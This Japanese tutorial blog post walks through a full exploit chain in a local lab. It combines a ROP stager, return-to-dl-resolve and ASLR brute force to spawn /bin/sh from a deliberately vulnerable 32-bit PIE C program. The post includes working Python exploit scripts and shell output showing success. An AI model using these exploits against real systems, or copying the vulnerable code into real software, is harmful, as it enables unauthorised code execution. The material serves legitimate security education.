ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避
「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらに実行ファイルがPIEの場合についてブルートフォースによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
read(0, &size, 4);
read(0, buf, size);
write(1, buf, size);
return 0;
}
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、PIE、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -fPIE -pie bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
readelfコマンドでセクション情報を表示すると、各セクションのアドレスが小さな値(ファイル先頭からのオフセット)になっており、PIEであることが確認できる。
$ readelf -S a.out Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1 ... [12] .plt PROGBITS 00000400 000400 000060 04 AX 0 0 16 [13] .text PROGBITS 00000460 000460 000228 00 AX 0 0 16 ... [23] .got.plt PROGBITS 00001ff4 000ff4 000020 04 WA 0 0 4 [24] .data PROGBITS 00002014 001014 000008 00 WA 0 0 4 [25] .bss NOBITS 0000201c 00101c 000008 00 WA 0 0 4 ...
ASLRが無効な場合に対するエクスプロイトコードを書いてみる
ASLRは実行時のメモリ配置に関するセキュリティ機構であり、ASLRが有効でも無効でもコンパイルされた実行ファイルは同一である。 そこで、手始めにASLRが無効な場合について考えてみる。
readelfコマンドおよびobjdumpコマンドを使い、実行ファイルのセクション情報およびディスアセンブル結果を書き出してみる。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
出力したデータをもとに、ROP stagerによる固定アドレス書き込み、Return-to-dl-resolveによるsystem関数呼び出しを行うエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
base_bin = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])
addr_dynsym = base_bin + 0x1e0 # readelf -S a.out
addr_dynstr = base_bin + 0x2a0 # readelf -S a.out
addr_relplt = base_bin + 0x3a8 # readelf -S a.out
addr_plt = base_bin + 0x400 # readelf -S a.out
addr_gotplt = base_bin + 0x1ff4 # readelf -S a.out
addr_bss = base_bin + 0x201c # readelf -S a.out
addr_plt_read = base_bin + 0x410 # objdump -d -j.plt a.out
addr_got_read = addr_gotplt + 0xc # objdump -d -j.plt a.out
addr_pop3 = base_bin + 0x62d # objdump -d a.out
addr_pop_ebp = base_bin + 0x62f # objdump -d a.out
addr_leave_ret = base_bin + 0x5cd # objdump -d a.out
addr_pop_ebx = base_bin + 0x3fc # objdump -d a.out
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_pop_ebx)
buf1 += struct.pack('<I', addr_gotplt)
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 100)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)
addr_reloc = base_stage + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7
reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr
buf2 = 'AAAA'
buf2 += struct.pack('<I', addr_plt)
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_got_read - base_bin) # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name) # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))
# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
p.stdin.write(buf2)
p.wait()
このコードは実行ファイルのベースアドレス、オーバーフローさせるバッファのサイズを順に引数に取る。 コードの内容は基本的にはPIEでない場合と同じであるが、以下について修正する必要がある。
- PIEではebxレジスタにGOTセクションの先頭アドレスがセットされ、PLTにて利用される。そのため、最初にebxレジスタにGOTセクションの先頭アドレスをセットする。
- Elf32_Rel構造体のreloc_offsetには実際に配置されたアドレスではなく、ファイル先頭からのオフセット値が入る。
ASLRを一旦無効にし、gdbで実行ファイルのベースアドレスを調べてみる。
$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out
Temporary breakpoint 1, 0x80000560 in main ()
(gdb) i proc map
process 1780
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x80000000 0x80001000 0x1000 0x0 /home/user/tmp/a.out
0x80001000 0x80002000 0x1000 0x0 /home/user/tmp/a.out
0x80002000 0x80003000 0x1000 0x1000 /home/user/tmp/a.out
...
(gdb) quit
この結果から、実行ファイルのベースアドレスが0x80000000であることがわかる。
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 0x80000000 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfc\x03\x00\x80\xf4\x1f\x00\x80\x10\x04\x00\x80-\x06\x00\x80\x00\x00\x00\x00\x1c(\x00\x80d\x00\x00\x00/\x06\x00\x80\x1c(\x00\x80\xcd\x05\x00\x80' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
PIEな実行ファイルに対し、ASLRが無効な条件下でシェルが起動できていることがわかる。
ASLRを有効にしてブルートフォースしてみる
実行ファイルのベースアドレスが一致すればシェルが起動することを確認できたので、ASLRが有効な場合について考えてみる。 事前にbuffer over-readによるスタック上のリターンアドレスの書き出しなどができる場合は、これをもとにベースアドレスを計算すればよい。 ベースアドレスの計算ができない場合でも、32bit環境であればブルートフォースによる方法が可能である。
ASLRを有効にし、gdbを使ってベースアドレスが変化する様子を調べてみる。
ここで、gdbはデフォルトでASLRを無効化するため、set disable-randomization offを実行する必要があることに注意する。
$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out
Temporary breakpoint 1, 0xb776c560 in main ()
(gdb) i proc map
process 2111
Mapped address spaces:
Start Addr End Addr Size Offset objfile
...
0xb776c000 0xb776d000 0x1000 0x0 /home/user/tmp/a.out
0xb776d000 0xb776e000 0x1000 0x0 /home/user/tmp/a.out
0xb776e000 0xb776f000 0x1000 0x1000 /home/user/tmp/a.out
...
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0xb776c560
Starting program: /home/user/tmp/a.out
Temporary breakpoint 2, 0xb7779560 in main ()
(gdb) i proc map
process 2114
Mapped address spaces:
Start Addr End Addr Size Offset objfile
...
0xb7779000 0xb777a000 0x1000 0x0 /home/user/tmp/a.out
0xb777a000 0xb777b000 0x1000 0x0 /home/user/tmp/a.out
0xb777b000 0xb777c000 0x1000 0x1000 /home/user/tmp/a.out
...
(gdb) quit
繰り返し実行すると、実行ファイルのベースアドレスが0xb77XX000(XX=00-ff)あるいは0xb7800000の範囲で変化していることがわかる。
つまり、32bit環境であれば0x100(=256)回程度の試行でベースアドレスが一致すると考えられる。
引数で与えたベースアドレスのもと、繰り返し試行するようにエクスプロイトコードを修正してみる。
# exploit-bf.py
(snip)
# execution part
i = 0
while True:
print >>sys.stderr, "[+] trial: %d" % (i+1)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
# print "[+] read: %r" % p.stdout.read(len(buf1))
p.stdin.write(buf2)
p.wait()
i += 1
ベースアドレスに取り得る適当なアドレスを引数にセットし、実行してみる。
$ python exploit.py 0xb7779000 100
[+] trial: 1
[+] trial: 2
[+] trial: 3
[+] trial: 4
(snip)
[+] trial: 334
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
[+] trial: 335
[CTRL+C]
Traceback (most recent call last):
File "exploit.py", line 76, in <module>
p.wait()
File "/usr/lib/python2.7/subprocess.py", line 1291, in wait
pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0)
File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call
return func(*args)
KeyboardInterrupt
32bitのASLRが有効な条件下のもと、334回の試行でシェルが起動できていることが確認できた。